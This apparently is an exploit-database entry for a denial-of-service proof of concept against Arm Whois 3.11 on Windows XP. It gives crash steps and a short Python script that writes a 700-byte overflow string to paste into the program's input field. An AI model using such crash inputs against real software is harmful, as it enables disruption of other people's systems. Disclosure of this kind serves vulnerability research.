Arm Whois version 3.11 suffers from a denial of service vulnerability.
b32558e11fb4b82f96a3e349b42392cb# Exploit Title: Arm Whois 3.11 - Denial of Service (PoC)
# Date: 2018-10-31
# Exploit Author: Yair RodrAguez Aparicio
# Vendor Homepage: http://www.armcode.com/
# Software Link: http://www.armcode.com/downloads/arm-whois.exe
# Version: 3.11
# Tested on: Windows XP Profesional EspaA+-ol SP3 x86
# Steps to Produce the Crash:
# 1.- Run python code : python whois.py
# 2.- Open text.txt and copy content to clipboard
# 3.- Open whois.exe
# 4.- Paste clipboard on "IP address or domain"
# 5.- click on "Retrieves IP-adress info"
# 6.- Crashed!
buffer = "\x41" * 700
f = open("text.txt", "w")
f.write(buffer)
f.close()